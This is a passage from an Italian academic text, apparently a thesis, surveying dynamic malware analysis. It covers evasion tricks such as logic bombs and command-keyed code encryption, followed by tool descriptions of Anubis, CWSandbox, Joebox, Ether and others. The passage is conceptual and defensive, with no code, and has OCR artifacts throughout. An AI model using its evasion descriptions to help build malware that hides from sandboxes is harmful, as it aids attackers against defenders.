Tuttavia, poiché questo fag viene solitamente controllato durante il normale

funzionamento, il suo stato deve essere nascosto dal campione eseguito. Inoltre, lo
specifco registro della macchina SYSENTER_EIP_MSR viene utilizzato per eseguire
chiamate di sistema su recenti CPU e sistemi operativi. Modifcarne il contenuto con-
sente ad uno strumento di analisi di monitorare comodamente l'invocazione di chia-
mate di sistema. Tuttavia, questa modifca deve essere nascosta al campione analiz-
zato.
Comunemente, i sistemi che modifcano gli MSR possono nascondere queste

modifche, mantenendo le versioni ombra di questi registri, ed assicurando che il
campione analizzato abbia accesso solo alle versioni ombra.
3.3.6.6 Bombe logiche

Invece di rilevare il quadro di analisi, il malware può anche implementare
bombe logiche per nascondere il suo intento malevolo.
Ad esempio, un malware potrebbe presentare solo le sue attività dannose in

una certa data. Se la data di sistema sulla macchina di analisi indica un giorno diver-
so al momento dell'esecuzione dell'analisi, il comportamento dannoso non può esse-
re osservato. Tuttavia, su tutte le macchine infette sarebbero eseguire le attività dan-
nose nel giorno previsto.
Un'altra forma di bomba logica è la dipendenza da input dell'utente. Ad

esempio, un malware può rimanere inattivo fno a quando un certo numero di tasti è
stato premuto dall'utente. Se lo strumento di analisi non emula questo input dell'u-
tente, le attività dannose non vengono eseguite e, pertanto, non può essere monitora-
to.
L' offuscamento del codice condizionale (cifratura) [B-45] può essere applicato
al fne di ostacolare ulteriormente gli strumenti di analisi. Seguendo questo schema,
la rappresentazione binaria di un programma che dipende da un meccanismo di atti-
38
vazione (ad esempio, un bot ricettore di un comando), viene sostituita con una versio-
ne cifrata della stessa. La chiave di cifratura è scelta in modo che sia implicitamente
disponibile quando il codice deve essere eseguito (ad esempio, la stringa di comando
ricevuta), ma altrimenti non presente nel programma.
Ad esempio, un pezzo di codice condizionale di un programma bot potrebbe

iniziare la scansione di nuove vittime appena il bot riceve un comando "scansione".
Questo codice viene poi crittografato con il comando "scansione", e il controllo per ve-
dere se il codice deve essere eseguito avviene mettendo a confronto i valori di hash
invece che il testo in chiaro. Così, la chiave viene rimossa correttamente dal binario,
ma è presente non appena il bot è incaricato di eseguire un'azione di "scansione".
3.3.6.7 Analisi delle prestazioni

Un altro tema importante per i sistemi di analisi del malware è la prestazione.
Ogni ciclo CPU speso per l'analisi manca altrove. Ciò comporta un notevole rallenta-
mento del bersaglio in analisi. Ancora più importante, l'esecuzione dei compiti di
analisi può portare alla violazione di vincoli temporali nel sistema operativo che ese-
gue il campione sotto analisi. Ad esempio, se l'analisi estesa da eseguire all'avvio del
programma ritarda la creazione del nuovo processo per troppo tempo, il sistema ope-
rativo potrebbe considerare che il processo non risponde e annullarlo, quindi iniben-
do un'analisi approfondita del processo in questione.
Per contrastare questo fenomeno,vengono applicate diverse tecniche per ma-

scherare il rallentamento introdotto da tale analisi. Tali tecniche includono la corre-
zione (cioè fare il patch ) del registro contatore di timestamp RDTSC o rallentare il
tempo in un ambiente emulato o virtuale. Questi metodi funzionano solo per l'host
che esegue l'analisi.
Se il campione in esame interagisce con altri componenti della rete, l'applica-

zione di questi trucchi sui tempi può portare a comportamenti in rete inaffdabili a
causa di timeout. “Il tempo di attraversamento” , cioè il numero di campioni analizzati
per unità di tempo può essere utilizzato anche come un indicatore delle prestazioni
dei sistemi di analisi di malware. Nell'analisi dinamica, i campioni sono eseguiti in un
ambiente controllato. Questa esecuzione richiede tempo. Inoltre, la gestione di attivi-
tà come l'impostazione dell'ambiente e raccogliere risultati delle analisi richiede tem-
po a sua volta.
39
Riassumendo questi risultati di tempo con un limite superiore upper-bound
sulle prestazioni di un determinato strumento. La maggior parte del malware, una
volta avviato, rimane in esecuzione fno a quando il sistema operativo infetto viene
eseguito.
Così, analizzare l'intero ciclo di vita di un campione di malware è irrealizzabi-

le. La tecnica comune per contrastare questo è terminare l'analisi una volta giunti ad
un determinato timeout. Il valore di questo timeout ha una grande infuenza sulla
velocità effettiva di un sistema di analisi malware automatici. Nicter [B-23] per esem-
pio, è in grado di analizzare 150-250 campioni al giorno. Con campioni eseguiti per
30 secondi (tempo di orologio da parete), le restanti 22 ore al giorno sono utilizzate
per gestire altri compiti, come ad esempio il ripristino dell' ambiente di analisi. Se
una tecnica di analisi è implementata con in mente la scalabilità, la velocità può esse-
re aumentata impiegando maggiori risorse hardware, come sistemi supplementari
che svolgono l' analisi o apparecchiature più veloci.
40
4 Strumenti di analisi del malware
La seguente sezione fornisce una panoramica delle metodologie esistenti e de-

gli strumenti che fanno uso delle tecniche presentate per analizzare software scono-
sciuto e potenzialmente dannoso. Per ogni strumento, viene dato un breve riassunto
su come sono implementate le tecniche presentate in precedenza nella Sezione 3 , è
anche fornita per quanto possibile [B-16] una discussione sulle metodologie, possibili
tecniche di evasione, e vantaggi rispetto ad altri metodi .
4.1 Anubis
Anubis [18] (TTAnalyze è il suo predecessore presentato da Bayer et al. [B-5])
è uno strumento per analizzare il comportamento degli eseguibili Windows PE (Por-
table Executable) con particolare attenzione all' analisi di malware.
L'esecuzione di Anubis comporta la generazione di un fle di report che con-

tiene informazioni suffcienti per dare ad un utente umano una buona descrizione
sullo scopo e le azioni del binario analizzato. Il report generato include dati dettaglia-
ti circa le modifche apportate al registro di Windows o al fle system, circa le intera-
zioni con il Service Manager di Windows o da altri processi e, naturalmente, registra
tutto il traffco di rete generato.
Anubis riceve campioni di malware attraverso un'interfaccia web pubblica e

una serie di feed di sicurezza da organizzazioni e aziende anti-malware. [B-16] Anubis
esegue il campione in analisi in un ambiente emulato costituito da un sistema operati-
vo Windows XP in esecuzione come ospite in Qemu [B-6]. L'analisi viene effettuata
monitorando l'invocazione di funzioni API di Windows, nonché chiamate servizio di
sistema per l'API di Windows nativo.
L'analisi si concentra sugli aspetti rilevanti per la sicurezza riferite alle azioni
di un programma, il che rende più facile il processo di analisi e siccome il dominio è
a grana più fne permette risultati più precisi. E' lo strumento ideale per chi è interes-
sato ad ottenere una rapida comprensione delle fnalità di un binario sconosciuto.
Inoltre, i parametri passati a queste funzioni vengono esaminati e monitorati.
41
Poiché Anubis esegue il campione analizzato in un sistema operativo comple-
to Windows, è importante concentrarsi sulle operazioni che vengono eseguite per
conto del campione e omettere le operazioni che si verifcano come un comportamen-
to normale del sistema operativo o altri processi in esecuzione. A tal fne, Anubis si
avvale della conoscenza del fatto che Windows assegna ad ogni processo in esecuzio-
ne la propria “page”. L'indirizzo fsico della page del processo attualmente in esecu-
zione è sempre presente nel registro delle CPU CR3. Così, sulla invocazione del cam-
pione analizzato, Anubis registra il valore del registro CR3 ed esegue l'analisi solo
per questo processo.
Monitorando le API e le chiamate di sistema che sono responsabili della crea-

zione di nuovi processi, Anubis è in grado di monitorare tutti i processi che vengono
creati dal campione originale. Il monitoraggio di chiamate di funzione si basa sul
confronto del puntatore all'istruzione della CPU emulata con i punti di accesso di
funzioni esportate nelle librerie condivise. A tal fne, Anubis gestisce un elenco di
funzioni per monitorare con loro corrispondenti punti di funzione di ingresso. Que-
sti indirizzi devono essere determinati dinamicamente in base al valore di offset, re-
lativo all'inizio della libreria (cioè, indirizzo di base), che è noto a priori.
Il 'loader' può decidere di caricare la libreria ad un indirizzo diverso dall'indi-

rizzo di base preferenziale. Così, il vero punto di ingresso ad una funzione è noto
solo dopo che il caricatore ha mappato la libreria nel processo 'spazio di memoria.
Per fare questo, Anubis tiene traccia di tutte le invocazioni del 'loader' dinamico nel
contesto del campione in analisi. Insieme con l'invocazione di queste funzioni, Anu-
bis controlla anche i loro argomenti passando gli argomenti alla routine di call-back
che eseguono le fasi di analisi e di monitoraggio necessarie. Ad esempio, l'utilizzo di
agganci 'handles' per le operazioni sui fle e del Registro di sistema, o socket di rete
sono monitorati, consentendo ad Anubis di produrre report espressivi delle relative
attività.
4.2 CWSandbox
Willems et al. [B-54] [37] hanno creato uno strumento chiamato CWSandbox
che esegue il campione in analisi sia nativo o in un ambiente virtuale di Windows.
"Sandbox", è un termine utilizzato nella sicurezza informatica, riferito ad un

ambiente defnito, separato e limitato (un "contenitore", con il suo controllo e le sue
42
4. Strumenti di analisi del malware
autorizzazioni) , in cui il codice del computer può essere eseguito senza la possibilità
di causare danni o infezioni. Proprio come in un parco giochi reale dove i bambini
possono giocare nella sandbox ma non sono autorizzati a giocare ovunque al di fuori
della scatola di sabbia e la casella attorno alla "scatola di sabbia" è progettata , la sand-
box è il loro "mondo virtuale".
A differenza di una Macchina virtuale dove è permessa ogni tipo di modifca o

creazione da parte di un'applicazione ed al termine rimane all'interno della macchina
virtuale, nella sandbox tutto cioè che vi è eseguito lo è come se non fosse in una sand-
box ma al termine dell'esecuzione tutto viene perduto.
La funzionalità di analisi di CWSandbox è implementata da funzioni: hook

che eseguono il monitoraggio del livello API. Inoltre, è implementato il monitoraggio
dell'interfaccia delle chiamate di sistema . Il sistema è progettato per catturare il com-
portamento di campioni di software dannoso rispetto al fle-system e la manipolazio-
ne del Registro, la comunicazione di rete, e l'interazione del sistema operativo.
Il sistema virtuale è un'installazione completa del sistema operativo di classe

Win32 in cui viene eseguito il campione analizzato, insieme ai componenti di analisi.
L'aggancio API avviene riscrivendo il campione in esame non appena viene caricato
in memoria. La tecnica di aggancio applicata installa una funzione di monitoraggio in
grado di eseguire l'analisi prima e dopo ogni chiamata API.
A tal fne, il processo malware viene avviato in uno stato sospeso, il che signi-
fca che il campione e tutte le librerie dipendenti vengono caricati nella memoria ma
non avviene ancora l'esecuzione . Durante l'inizializzazione, CWSandbox esamina le
funzioni API esportate di tutte le librerie caricate e installa i necessari agganci hook.
Ciò avviene facendo il backup e sostituendo quelle istruzioni che si trovano ai primi
cinque byte della funzione API con un salto non condizionato 'notconditional' (JMP)
dell' istruzione alla funzione di monitoraggio. Quando il campione richiama la fun-
zione API, il fusso di controllo viene diramato all' aggancio che esegue l'analisi dei
parametri.
Dopo l'analisi, l'aggancio esegue le istruzioni di backup prima di continuare

l'esecuzione delle API della funzione originale. Una volta che la funzione API ritor-
na, il controllo è implicitamente dato alla funzione di aggancio che ora può postare
processi e sanifcare i risultati della chiamata API prima di restituirlo al campione
43
analizzato. Questo processo funziona per tutte le librerie che sono defnite nella tabel-
la di importazione del campione perché sono caricate automaticamente all'avvio del
processo. Tuttavia, l'esplicito legame di DLL, interpretato dalla chiamata API 'Load-
Library' di Windows ', consente a un'applicazione di caricare dinamicamente una li-
breria durante il runtime. Poiché il malware potrebbe usare questo per aggirare l'ana-
lisi, anche l' API LoadLibrary è agganciata, ed esegue la riscrittura del binario già ci-
tato una volta che la libreria richiesta viene caricata nel processo di 'spazio di memo-
ria'.
Oltre alle API di aggancio, CWSandbox controlla anche l'interfaccia di chia-

mate di sistema che consente l'analisi di malware che utilizza chiamate di sistema di-
rettamente, al fne di eludere l'analisi. Lo strumento di analisi si compone di due par-
ti principali: un processo di controllo e di una DLL che viene iniettata in tutti i pro-
cessi che devono essere monitorati. Il processo di controllo, che è responsabile del
lancio del campione analizzato, riceve tutti gli output di analisi dalle funzioni di ag-
gancio. Al fne di avere facile accesso alle funzioni hook, vengono compilati in un
DLL che viene iniettata nello spazio di indirizzi del campione all'avvio.
Un campione di malware potrebbe tentare di eludere l'analisi generando un al-

tro processo che sfugge al controllo, ma così anche le API che controllano la creazio-
ne dei processi e delle minacce sono agganciate, non si tratta di una strategia di eva-
sione praticabile. Questi agganci inietteranno la DLL in analisi ed eseguiranno la ri-
scrittura binaria necessaria in ogni processo che viene creato dal campione in analisi.
Gli agganci in questi processi comunicano anche le loro informazioni di analisi al
processo di controllo . Un processo può interrogare il sistema operativo per processi
in esecuzione, così come per librerie caricate.
Poiché queste informazioni potrebbe rivelare la presenza del quadro di analisi

(cioè, il processo di controllo, la libreria iniettata, e il canale di comunicazione tra
loro), CWSandbox applica tecniche rootkit per nascondere tutti gli oggetti di sistema
che potrebbero rivelare la presenza del quadro analisi dal processo sotto analisi. A tal
fne, le API utilizzate per interrogare questi dettagli del sistema sono esse stesse ag-
ganciate. Una volta che queste funzioni ritornano, gli agganci corrispondenti sanif-
cano i risultati (ad esempio, fltrando il processo di controllo della lista dei processi in
corso, o la rimozione delle DLL iniettate dalla lista dei moduli caricati ), quindi na-
scondono la loro presenza da parte di potenziali campioni di malware.
44
L'uscita di una sessione di analisi è un fle di report che descrive, da una visio-
ne di alto livello, quali azioni sono state eseguite dal campione durante l'analisi. Que-
sto rapporto può essere utilizzato da un analista umano per capire rapidamente il
comportamento del campione, così come le tecniche che vengono applicate a svolgere
il proprio compito.
Avere queste informazioni generate in modo rapido e automatico permette al-

l'analista di focalizzare l'attenzione sui campioni che richiedono una più profonda
analisi (manuale) che su campioni che mostrano un comportamento già noto [B-16].
4.2.1 Norman Sandbox

Norman Sandbox [B-38] è una soluzione per l' analisi dinamica di malware che
esegue il campione in un ambiente virtuale strettamente controllato che simula un si-
stema operativo Windows. Questo ambiente è utilizzato per simulare un computer
host e una connessione alla rete locale e, in una certa misura, la connettività Internet.
L'idea di base dietro il Norman Sandbox è di sostituire tutte le funzionalità ri-

chieste da un campione analizzato con una versione simulata delle stesse. Il sistema
di simulazione, quindi, deve fornire il supporto per la gestione di meccanismi del si-
stema rilevanti, come la protezione della memoria e il supporto multithreading. Inol-
tre, tutte le API richieste devono essere presenti per dare l'illusoria impressione al
malware che è in esecuzione su un sistema reale.
Poiché il malware viene eseguito in un sistema simulato, eseguibili compressi o

offuscati non impediscono l' analisi stessa. Come descritto in precedenza, un binario
compresso potrebbe semplicemente eseguire il passaggio di decompressione e poi
continuare l'esecuzione del programma originale. Tuttavia, per ridurre al minimo il
tempo trascorso in analisi, i binari che vengono offuscati da un conosciuto program-
ma di compressione sono decompressi prima dell'analisi.
Norman Sandbox si concentra sulla individuazione di worm che si diffondono

attraverso e-mail o reti P2P , così come i virus che cercano di replicare su condivisioni
di rete. Inoltre, una tecnica di individuazione di malware generici cerca di catturare
altri software dannosi. Il Norman Sandbox fornisce un ambiente simulato al campio-
ne sotto analisi costituito da versioni su misura di API user-land (spazio-utente) ne-
45
cessarie per l'esecuzione del campione. Le funzioni che forniscono queste API sono
pesantemente strumentate con le capacità di analisi corrispondenti. Inoltre, per man-
tenere la simulazione self-contained , queste API di sostituzione non eseguono alcu-
na interazione con il sistema reale.
Invece, i risultati di tali chiamate API sono creati per consentire al malware di
continuare l'esecuzione (ad esempio, inserendo valori di ritorno di funzionamento
corretto delle API). Se necessario ha luogo un conteggio per contrastare alcune tecni-
che di rilevamento applicate da software maligno.
Ad esempio, un campione di malware potrebbe tentare di rilevare lo strumen-

to di analisi scrivendo in un fle e cercando di leggere da quel fle in seguito per veri-
fcare se le informazioni memorizzate sono ancora lì. Se lo strumento di analisi non
fornisce i risultati corretti per la richiesta di lettura, il malware sarà in grado di rileva-
re che si sta analizzando e terminerà senza rivelare i suoi veri intenti malevoli. Parti-
colare cura viene posta rispetto alle API di rete. Tutte le richieste di rete emesse dal
campione in analisi vengono reindirizzate ai componenti simulati. Se, ad esempio,
un campione intende diffondersi via e-mail, deve contattare un server SMTP per in-
viare e-mail. Viene rilevato il tentativo di connessione alla porta TCP 25, e invece di
aprire una connessione al server vero e proprio, la connessione viene reindirizzata a
un server di posta simulato.
Questo non viene eliminato dal campione sotto analisi, e potrà iniziare a in-
viare i comandi di posta elettronica, tra cui il payload maligno.
Un metodo analogo viene seguito quando un campione tenta di scrivere in una con-
divisione di rete simulata o tenta di risolvere i nomi host in indirizzi IP tramite query
DNS.
Gli autori affermano che non è un problema di sicurezza alimentare ulteriori

informazioni nel sistema simulato; in tal modo, ad un campione in esame potrebbe
essere consentito di scaricare fle da Internet "reale". Anche con questa opzione in
loco, la connessione non è sotto il controllo del campione, ma controllata dallo stru-
mento di analisi che esegue il download a nome del malware e passa il risultato al
campione. Le richieste permesse sono rigorosamente fltrate, consentendo solo do-
wnload di fles, mentre cadono tutte le altre richieste. La logica alla base di questo è
quello di contrastare la diffusione di worm (ad esempio, Nimda, CodeRed [B-32]) che
si riproducono con l'invio di richieste HTTP ai server Web.
46
La strumentazione delle API di aggancio consente un'effcace funzione di chia-

mata e il monitoraggio dei parametri.Il comportamento osservato (ad esempio, chia-
mate di funzione e gli argomenti) sono memorizzati in un fle di log. Norman Sand-
box controlla anche i punti di estendibilità dell' avvio automatico (ASEPs) che posso-
no essere utilizzati da istanze di malware al fne di garantire la persistenza e il richia-
mo automatico dopo sequenze di spegnimento / riavvio.
4.2.2 ThreatAnalyzer
(ex CWSandbox) [dal novembre 2013] gestisce i fle eseguibili e gli URL in un
ambiente controllato - esattamente come un utente vorrebbe - per analizzare e deter-
minare i potenziali rischi. La soluzione automatizza dell'analisi del comportamento
da identifcare, per arrestare ed eliminare le minacce avanzate persistenti (APT), gli
attacchi mirati, le minacce zero-day e altro malware sofsticato attraverso:
Ambienti confgurabili: - Analisi su tutte le confgurazioni di sistema simulando un de-

terminato ambiente e funzionando in un ambiente nativo o virtuale personalizzabile
in modo da comprendere come un campione possa infuire sull'ambiente sulla rete e
sullo stack delle applicazioni. Questo per comprendere quali contro misure poter at-
tuare.
Estensione dell'Analisi: - Alto livello di conoscenza e consapevolezza dello stato delle

minacce in atto, insieme a informazioni utili, come top IP e domini associati al mal-
ware , visione della mappa del mondo per identifcare rapidamente da quali nazioni
partono le azioni degli attori delle minacce;
Comparazione multipla di analisi: - Gestione centralizzata della gestione dei campioni

sottoposti a molteplici e personalizzati, sandbox ThreatAnalyzer . Ciò consente di vi-
sualizzare side-by-side e confrontare il comportamento del campione analizzato attra-
verso vari sistemi operativi, livelli di patch, confgurazioni dei sistemi e versioni di-
verse delle applicazioni;
Una gamma completa di report che forniscono: - in pdf un'analisi di sintesi e presente i
casi analizzati , in HTML/XML/JSON i risultati comportamentali dei campioni com-
pleti, inclusi i dettagli di processo, chiavi di registro, modifche del fle system, il traff-
co di rete, URL, hash di fle , in archivi zip tutte le informazioni catturate da campioni
47
analizzati, compresi i fle creati,screenshot, di immagine della memoria di processo e
PCAP (attività di rete), in PCAP tutte le attività di rete generate da un campione du-
rante l'analisi.
4.2.3 Joebox
Durante l'analisi dinamica di un campione potenzialmente dannoso, Joebox
[B-7] crea un registro che contiene le informazioni di alto livello delle azioni svolte in
materia di attività di fle system, di registro e di sistema. Joebox è specifcamente pro-
gettato per funzionare su hardware reale, non basandosi su una tecnica di virtualiz-
zazione o in emulazione. Il sistema è progettato come un modello client-server in cui
una singola istanza controller può coordinare più clienti che sono responsabili dell'e-
secuzione dell'analisi. Quindi, è semplice aumentare la produttività del sistema com-
pleto aggiungendo più clienti durante l' analisi del sistema. Tutti i dati di analisi ven-
gono raccolti dal controllo della macchina. Joebox aggancia chiamate API in modali-
tà utente, così come invocazioni sistema di chiamata. Ogni libreria che fornisce un
API contiene un dizionario dei nomi delle funzioni esporta.
I nomi sono accompagnati con un puntatore alla realizzazione di queste fun-

zioni all'interno della libreria. Questa directory, denominata tabella degli indirizzi di
esportazione (EAT), viene interrogata da un processo che vuole chiamare una funzio-
ne in quella libreria. Il SSDT (servizio di sistema descrittore di tabella) è una struttura
simile che mappa i numeri di sistema di chiamata per la loro attuazione tramite pun-
tatori a funzione.
Joebox implementa l'aggancio su queste strutture per eseguire l'analisi. L'Ag-

gancio EAT permette a Joebox di monitorare invocazioni di funzione nelle librerie,
mentre agganciando le voci SSDT permette di comprendere come l'interfaccia user-
mode / kernelMode viene utilizzata dal campione in analisi.
La riscrittura in binario di funzioni API in modalità utente viene applicata

una volta che la libreria viene caricata in memoria. Poiché tali modifche sono solita-
mente facili da individuare con un processo in esecuzione, un driver in modalità ker-
nel è responsabile nell'occultare le modifche effettuate. Per evitare il rilevamento, il
driver installa un gestore di page fault e segna la pagina di memoria contenente il co-
dice eseguibile della funzione agganciato come "non presente."
48
Appena un processo tenta di leggere da quella pagina di memoria per rilevare

eventuali modifche, il gestore del fault di pagina viene chiamato per la pagina man-
cante e restituisce un falso, versione non modifcata della pagina per l'applicazione.
Per mascherare ulteriormente la presenza di un quadro di analisi, Joebox utilizza il
toolkit AutoIt per emulare l'interazione dell'utente con la macchina durante la fase di
analisi.
La logica alla base di questo è che il malware può rimanere inattivo fno a
quando avviene l'interazione con l'utente al fne di eludere meno sofsticati strumenti
di analisi automatizzata. Realizza l' analisi dinamica di qualsiasi tipo di fle in base
alla confgurazione personalizzata o all'ambiente [B-16];
4.2.4 Ether
Analisi del malware tramite estensione di virtualizzazione hardware . Dina-

burg et al. [B-60] propongono un quadro generale di analisi malware trasparente sulla
base di virtualizzazione hardware. Essi motivano il loro lavoro affermando che gli
strumenti di analisi esistenti soffrono di problemi di rilevabilità che consentono di ri-
levare codice dannoso che viene monitorato. La proprietà di trasparenza di Ether ri-
sulta dal fatto che è realizzato in un hypervisor (Xen) residente in un livello di privile-
gi superiore al sistema operativo guest monitorato.
Ether ha il supporto per il monitoraggio delle istruzioni eseguite, la memoria

scrive, e (in ambiente Windows XP) esegue le chiamate di sistema. Inoltre, Ether for-
nisce meccanismi per la versione di Windows XP per limitare l'analisi solo a un pro-
cesso specifco.
Il monitoraggio dell' esecuzione delle istruzioni viene implementato impo-

stando il fag trappola della CPU quando viene eseguito il codice nel sistema guest.
Ciò si traduce in una eccezione di debug risultante dopo ogni istruzione macchina
eseguita. Così, Ether è in grado di registrare e tracciare le istruzioni realmente esegui-
te dal sistema operativo guest o il processo monitorato, rispettivamente.
Con queste informazioni, un analista umano ha una rappresentazione molto

dettagliata delle azioni eseguite dal sistema analizzato. Diversi campioni di malware
già verifcano la presenza del fag trappola quando si impiegano tecniche anti-debug-
49
ging [B-61] [B-62]. Se viene rilevato il fag trappola, questi malware possono masche-
rare i loro intenti malevoli e aggirare l'analisi.
Per impedire questa situazione, Ether monitora e modifca tutte le istruzioni

che accedono ai fag della CPU, presentando così il risultato atteso per il sistema ope-
rativo guest. Una versione ombra del fag trappola è gestito da Ether, rappresentan-
do l'assunzione del valore del fag del sistema operativo guest. Query dal sistema
guest per ottenere o impostare il fag trappola vengono sempre valutate sulla versio-
ne ombra del fag.
Ciò è necessario in quanto campioni di malware utilizzano attivamente il fag

trappola per svolgere il loro compito (per esempio, i motori di decodifca polimorfci
[B-63] [B-64]). Il monitoraggio della scrittura in memoria si ottiene impostando tutte
le voci della tabella delle pagine di "sola lettura". Non appena il sistema operativo
ospite esegue un'operazione di scrittura, un errore di pagina è sollevato.
Ether controlla se la ragione di questa anomalia risiede nel funzionamento

normale del guest (ad esempio, il sistema tenta di accedere a una pagina swappe-
d-out), passando i fault su questi casi. Tutti gli altri errori vengono gestiti da Ether, in
quanto indicano che la memoria scrive dal sistema operativo guest e le fasi di analisi
necessarie possono essere eseguite. Poiché Ether modifca solo le impostazioni delle
tabelle di pagina ombra che non sono visibili al sistema operativo guest, questi cam-
biamenti non possono essere osservati dal software in esecuzione nel sistema opera-
tivo guest.
Sotto un guest Windows XP, OS Ether implementa il monitoraggio delle chia-

mate di sistema come segue. Nella CPU moderne il registro SYSENTER_EIP_MSR
contiene l'indirizzo di memoria di codice eseguibile responsabile del dispacciamento
delle chiamate di sistema. Per un'applicazione al fne di eseguire una chiamata di si-
stema, è necessario caricare il numero di chiamata di sistema e gli argomenti sui regi-
stri specifcati e la locazione di stack, e quindi eseguire l'istruzione SYSENTER.
L'esecuzione continua poi all'indirizzo memorizzato nel registro

SYSENTER_EIP_MSR. Questo codice, eseguito in modalità kernel, è responsabile
della lettura del numero di chiamata di sistema , dei parametri e dell'invocazione
delle rispettive funzioni di sistema. Ether monitora le invocazioni alle chiamate di si-
stema modifcando il valore del registro SYSENTER_EIP_MSR per puntare a una re-
50
gione di memoria non mappata. Quindi, l'accesso a questo indirizzo si traduce in un

fault di pagina. Non appena si verifca un errore di pagina per l'indirizzo specifcato,
il sistema è consapevole del fatto che una chiamata di sistema è stato richiamato, ri-
pristina il valore originale, ed esegue la chiamata di sistema. Una volta rilevata la
chiamata di sistema, Ether ha pieno accesso alla memoria del sistema operativo gue-
st, consentendo l'analisi dei parametri.
Dopo il completamento, il registro viene reimpostato all'indirizzo non valido

per prendere la successiva invocazione alla chiamata di sistema. L'accesso al SYSEN-
TER_EIP_MSR è completamente mediata da Ether, rendendo possibile poter presen-
tare il risultato atteso al guest, su richiesta. Questa tecnica funziona solo per le chia-
mate di sistema richiamate tramite l'istruzione SYSENTER.Così, Ether deve anche for-
nire funzionalità di monitoraggio per il deprecato sistema di invocazioni su chiamate
INT 2Estyle . Anche in questo caso, il valore del registro che punta alla tabella descrit-
tore interrupt viene modifcato in un indirizzo che si tradurrà in un errore di pagina
su accesso. Tecniche simili precedentemente descritte vengono qui applicate.
4.2.5 WildCat
Wildcat è un framework per l'analisi del malware sia a grana grossa che a gra-
na fne. Esso consiste in più componenti che implementano i punti di interruzione
stealth [B-50], strumentazione binaria [B-49] [B-51], ed esecuzione localizzata [B-52].
Lo sviluppo di punti d'arresto stealth è motivata dalla constatazione che molti

campioni di malware utilizzano la verifca del codice o la generazione di codice dina-
mico, che rende i punti di interruzione di software inutile. Inoltre, i punti di interru-
zione hardware possono essere resi ineffcaci da malware se si utilizzano i registri di
debug per i calcoli.
VAMPIRE [B-50] implementa i punti di interruzione impostando il fag non presente

della pagina di memoria contenente le istruzioni su cui interrompere. Un gestore di
page fault è installato per catturare l'errore che viene sollevato, non appena viene ese-
guita ogni istruzione di quella pagina. Se l'istruzione che ha innescato l'errore corri-
sponde alla posizione di memoria del punto di interruzione, Vampire interrompe l'e-
secuzione. In combinazione con un debugger, questo sistema può essere utilizzato
per singoli passi attraverso l'applicazione da quel punto. Il sistema che implementa
tecniche stealth può far sì che il malware non rilevi facilmente che è in fase di analisi.
51
Ad esempio, Vampire utilizza il fag trappola della CPU nel registro EFLAGS per
implementare un solo passo. Analogamente al metodo di Ether, viene utilizzata una
copia ombra di questo registro per presentare qualsiasi applicazione con la risposta
attesa, dunque, nascondendo il vero valore del registro EFLAGS. Inoltre, una corre-
zione all' orologio viene applicata per nascondere la latenza introdotta dal gestore
page fault. Due componenti del quadro strumentazione forniscono strumentazione
binaria:
4.2.5.1 Sakthi
[B-49] Implementa strumentazione binaria per la riscrittura di una funzione di desti-
nazione e per reindirizzare il controllo a una versione strumentata. Questo permette
la pre e post elaborazione di argomenti e di risultati, e permette anche al sistema di
chiamare la funzione di destinazione originale.
4.2.5.2 Spike
[B-52] Fornisce pure strumentazione binaria, però, invece del funzione target di ri-
scrittura, si costruisce su Vampire. Il sistema inserisce breakpoint nei punti desiderati
del codice sorgente e mantiene una tabella che collega un punto di interruzione ad
uno strumento. Una volta che il punto di interruzione è attivato, il sistema ridirige il
fusso di controllo allo strumento che può effettuare qualsiasi preelaborazione se ne-
cessaria. Se necessario, lo strumento può chiamare la versione non modifcata della
funzione target e post elaborazione o validare qualsiasi risultato dopo il suo ritorno.
SPIKE consente anche il reindirizzamento in fle DLL modifcando il fle binario su
disco prima che venga caricato. Durante questa modifca, SPYKE aggiunge il codice
analisi alla DLL e modifca voci nella sua tabella di indirizzo di esportazione per in -
dicare le funzioni di analisi, invece delle funzioni bersaglio. Un'applicazione invo-
cando la funzione strumentata chiama la funzione di aggancio che esegue l'analisi
desiderata e poi chiama la funzione originale.
L'ultimo componente nel quadro Wildcat è :
4.2.5.3 Cobra
[B-51], un sistema che supporta le esecuzioni localizzate, che fa riferimento a una tec-
nica che divide un determinato fusso di programma in piccoli blocchi di base che
vengono eseguiti a loro volta. Un blocco di base è una sequenza di istruzioni termi-
nato con un'istruzione di modifca del fusso di controllo (ad esempio, chiamata,
JMP) o quando una certa lunghezza massima viene raggiunta. Dopo l'esecuzione di
ogni blocco di base, il sistema richiama una funzione di analisi in grado di eseguire le
52
operazioni necessarie del livello a grana fne. Poiché la creazione di blocchi di base in
fase di esecuzione è costoso e la strumentazione potrebbe non essere necessaria in tut-
ti i casi, Cobra consente all'utente di defnire punti di sovrapposizione. Un punto di
sovrapposizione è l'indirizzo di un'istruzione sulla cui esecuzione il sistema passa al-
l'esecuzione localizzata. Punti di uscita, rispettivamente, vengono utilizzati per anco-
ra fermare l'esecuzione localizzata. Coppie di sovrapposizione e punti di rilascio
possono essere usati per impedire al sistema di eseguire l' esecuzione localizzata in
funzioni API ben note. A parte queste eccezioni, la premessa di Cobra è quello di ese-
guire solo il codice che è diviso in blocchi e di conseguenza la strumentazione. Istru-
zioni privilegiate possono essere utilizzate da un campione di malware per rilevare il
quadro di analisi. Per evitare questo, è stato individuato il set di importanti istruzioni
privilegiate, e il rischio di essere scoperti è mitigata attraverso la scansione dei blocchi
di base per le occorrenze di tali funzioni e la sostituzione di queste istruzioni privile-
giate con impianti nascosti che mascherano tutte le tracce dello strumento di analisi.
4.2.6 Hookfinder
Quando il malware raccoglie informazioni da un sistema infetto, è importante
dal punto di vista dell'attaccante che ciò avvenga in modo furtivo, al fne di eludere il
rilevamento. Comunemente, programmi dannosi, come spyware o rootkit, aggancia-
no degli impianti nel sistema affnchè avvisino in caso di eventi di loro interesse.
Ad esempio, un keylogger per l'ambiente Windows potrebbe creare un ag-

gancio utilizzando la funzione API SetWindowHookEx, che viene notifcata ogni vol-
ta che si preme un tasto. Campioni di malware sono liberi di assumere una qualsiasi
delle tecniche di aggancio descritte nella sezione 3. Hookfnder è un sistema in grado
di rilevare tali tecniche di aggancio e produce rapporti dettagliati su dove questi pun-
ti di aggancio sono e come sono stati impiantati nel sistema.
Il sistema controlla un processo e rileva un aggancio in essere se esso rileva

che il fusso di controllo è reindirizzato a questo processo da una modifca preceden-
te sullo stato del sistema (ad esempio, scrivere la memoria, chiamate API, ecc.); Hook-
fnder implementa questo metodo impiegando tecniche di tracciamento taint (taint-
tracking) dei dati in una versione modifcata dell' emulatore dell'intero sistema Qemu
[B-6]. Tutte le posizioni di memoria scritte dal processo sotto analisi sono segnate
taint, e il loro stato taint si propaga attraverso il sistema.
